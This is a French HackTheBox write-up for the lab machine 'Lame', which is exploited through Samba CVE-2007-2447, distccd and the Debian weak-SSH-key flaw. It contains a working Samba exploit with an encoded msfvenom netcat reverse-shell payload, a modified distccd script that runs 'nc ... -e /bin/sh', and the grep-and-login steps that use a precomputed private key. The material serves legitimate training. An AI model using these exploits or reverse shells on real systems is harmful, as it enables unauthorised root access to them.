Writeup HackTheBox : Lame
Contexte
Il s’agit une nouvelle fois d’une box facile. On y trouve cette fois plusieurs points d’entrée et escalade de privilèges. Je vais décrire ici ceux que j’ai trouvés mais une liste plus complète des vulnérabilités de cette machine est disponible dans l’excellent writeup de 0xdf disponible ici.
Mon but est d’utiliser le moins possible le logiciel Metasploit en vue d’une meilleure compréhension des exploits que j’utilise. Il existe donc des moyens bien plus simples pour rooter cette box que ceux décrits ici.
Niveau : facile
IP : 10.10.10.3
OS : Linux
Points : 20
Sortie : 14 Mars 2017
Scanning
Premièrement, nmap :
nmap -p- -T4 -A -oA nmap/allTCPports 10.10.10.3
root@kali:~/Documents/boxes/lame# nmap -p- -T4 -A -oA nmap/allTCPports 10.10.10.3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-03 14:48 CET
Nmap scan report for 10.10.10.3
Host is up (0.030s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.3
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%), Linux 2.6.18 (ClarkConnect 4.3 Enterprise Edition) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h30m22s, deviation: 3h32m10s, median: 20s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-02-03T08:50:27-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 31.63 ms 10.10.14.1
2 31.96 ms 10.10.10.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 149.11 seconds
On repère un certain nombre de ports :
- 21 : FTP
- vsFTPd v 2.3.4
- connexion anonyme acceptée
- 22 : SSH
- OpenSSH 4.7p1 Debian 8ubuntu1
- 139/445 : Samba
- smbd 3.0.20-Debian
- 3632 : distccd
Exploitation
vsFTPd
La tentative de connexion anonyme au serveur FTP n’a rien donné. Aucun fichier n’est présent sur le serveur et il ne semble pas possible de remonter dans les répertoires. Cependant, cette version de vsFTPd contient une backdoor dans son code (CVE-2011-2523). En effet, en utilisant un nom d’utilisateur terminant par “:)” (sans les “) suivi d’un mot de passe quelconque, vsFTPd ouvre une backdoor sur le port 6200, donnant accès à un shell.
Après différentes tentatives d’exploitation, il semble que ce soit une fausse piste. La connexion au port 6200 ne se faisant pas, j’ai tenté de lancer un scan sur tous les ports (TCP uniquement) après m’être connecté avec un utilisateur correctement formé (longin:)), mais rien n’est visible.
Samba
Cette version de samba
est vulnérable à une RCE (CVE-2007-2447). La faille est présente lorsque l’option “username map script” est activée dans le fichier smb.conf, permettant de lancer des commandes via le USERNAME
lors de la connexion.
En analysant le code d’un exploit python trouvé sur ce github, on voit bien que l’injection du code se fait au niveau de la variable userID, qui est ensuite utilisée en tant qu’utilisateur pour la connexion SMB.
#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian
from smb import *
from smb.SMBConnection import *
#msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1337 -f python
buf = ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6d"
buf += "\x68\x63\x6d\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += "\x2e\x31\x34\x2e\x35\x20\x31\x33\x33\x37\x20\x30\x3c"
buf += "\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d\x20\x7c\x20\x2f"
buf += "\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70\x2f"
buf += "\x6d\x68\x63\x6d\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d"
buf += "\x20\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d"
userID = "/=` nohup " + buf + "`"
password = 'password'
victim_ip = '10.10.10.3'
conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)
J’ai modifié le script pour y ajouter un reverse shell généré avec msfvenom en tant que payload et ai lancé l’exploit.
root@kali:~/Documents/boxes/lame# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.3] 46915
id
uid=0(root) gid=0(root)
hostname
lame
Voila pour ce rootage facile.
Distccd
Distccd est un logiciel de compilation distribué de code C et C++. Il permet d’utiliser les ressources de plusieurs machines du réseau pour accélérer la compilation de code. Il permet l’exécution à distance de commandes. Il ne s’agit pas là d’une faille à proprement parler puisque cela fait partie de ses fonctions.
Accès shell
Je l’ai utilisé pour me connecter à la box grâce à un script trouvé sur ce github, que j’ai modifié pour y inclure des arguments permettant d’obtenir directement un reverse shell.
-lh pour spécifier le host du reverse shell
-lp pour spécifier le port du reverse shell
Les parties commentées étaient présentes dans le script original (sans commentaires).
parser.add_argument('-t', action="store", dest="host", required=True, help="Target IP/HOST")
parser.add_argument('-p', action="store", type=int, dest="port", default=3632, help="DistCCd listening port")
#parser.add_argument('-c', action="store", dest="command", default="id", help="Command to run on target system")
parser.add_argument('-lh', action="store", dest="lhost", default="10.10.14.3", help="local host for reverse shell")
parser.add_argument('-lp', action="store", dest="lport", default="1337", help="local port for reverse shell")
try:
argv = parser.parse_args()
rshell = "nc "+argv.lhost+" "+argv.lport+" -e /bin/sh"
print(rshell)
# exploit(argv.command, argv.host, argv.port)
exploit(rshell, argv.host, argv.port)
Le script me donne ainsi accès au serveur via l’utilisateur daemon
.
root@kali:~/Documents/boxes/lame/assets# ../assets/exploitDISTCC.py -t 10.10.10.3 -p 3632 -lh 10.10.14.3 -lp 1337
nc 10.10.14.3 1337 -e /bin/sh
[OK] Connected to remote service
root@kali:~/Documents/boxes/lame/www# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.3] 41240
whoami
daemon
hostname
lame
J’améliore mon shell grâce aux précieux conseils des vidéos d'ippsec. Cela permet d’obtenir l’autocomplétion et un shell plus lisible.
python -c 'import pty;pty.spawn("/bin/bash")'
daemon@lame:/tmp$ ^Z
[1]+ Stoppé nc -lvnp 1337
root@kali:~/Documents/boxes/lame/www# stty raw -echo
nc -lvnp 1337ocuments/boxes/lame/www#
daemon@lame:/tmp$
En énumérant le répertoire local de l’utilisateur Makis
je trouve le premier flag, lisible par daemon
.
Escalade de privilège
Le répertoire /root
est également accessible, ainsi que son .ssh
.
daemon@lame:/tmp$ ls -lah /root
total 80K
drwxr-xr-x 13 root root 4.0K Feb 3 11:07 .
drwxr-xr-x 21 root root 4.0K Oct 31 02:33 ..
-rw------- 1 root root 373 Feb 3 11:07 .Xauthority
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2.2K Oct 20 2007 .bashrc
drwx------ 3 root root 4.0K May 20 2012 .config
drwx------ 2 root root 4.0K May 20 2012 .filezilla
drwxr-xr-x 5 root root 4.0K Feb 3 11:07 .fluxbox
drwx------ 2 root root 4.0K May 20 2012 .gconf
drwx------ 2 root root 4.0K May 20 2012 .gconfd
drwxr-xr-x 2 root root 4.0K May 20 2012 .gstreamer-0.10
drwx------ 4 root root 4.0K May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx------ 5 root root 4.0K May 20 2012 .purple
-rwx------ 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4.0K May 20 2012 .ssh
drwx------ 2 root root 4.0K Feb 3 11:07 .vnc
drwxr-xr-x 2 root root 4.0K May 20 2012 Desktop
-rwx------ 1 root root 401 May 20 2012 reset_logs.sh
-rw------- 1 root root 33 Feb 3 11:07 root.txt
-rw-r--r-- 1 root root 118 Feb 3 11:07 vnc.log
Je peux lister les clés publiques autorisées pour la connexion à ce serveur via l’utilisateur root
.
daemon@lame:/tmp$ cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Metasploitable est une machine virtuelle intentionnellement vulnérable à de nombreuses failles. En faisant des recherches sur les failles liées à Metasploitable et à la génération de paires de clés RSA, je suis tombé sur ce github.
Il y est expliqué que suite à une modification du code, toutes les paires de clés générées via OpenSSL entre Septembre 2006 et Mai 2008 soufrent d’une faille permettant de re-générer ses clées. En effet, La seule variable aléatoire lors de la génération était le PID du processus. Il est donc possible de générer les 32768 paires de clés différentes, correspondant au numéro le plus haut pouvant être attribué par défaut à un processus d’un système Linux.
Ces clés sont fournies sur le github.
J’ai donc cloné le repo, décompressé l’archive debian_ssh_rsa_2048_x86.tar.bz2
et exécuté un simple grep
sur le contenu des clés publiques.
root@kali:~/Documents/boxes/lame/assets/debian-ssh/common_keys/rsa/2048# grep -l +kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMg *.pub
57c3115d77c56390332dc5c49978627a-5429.pub
Il suffit ensuite de se connecter avec la bonne clé privée.
root@kali:~/Documents/boxes/lame/assets/debian-ssh/common_keys/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3
Last login: Wed Feb 3 11:50:14 2021 from 10.10.14.3
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@lame:~# whoami
root
root@lame:~# hostname
lame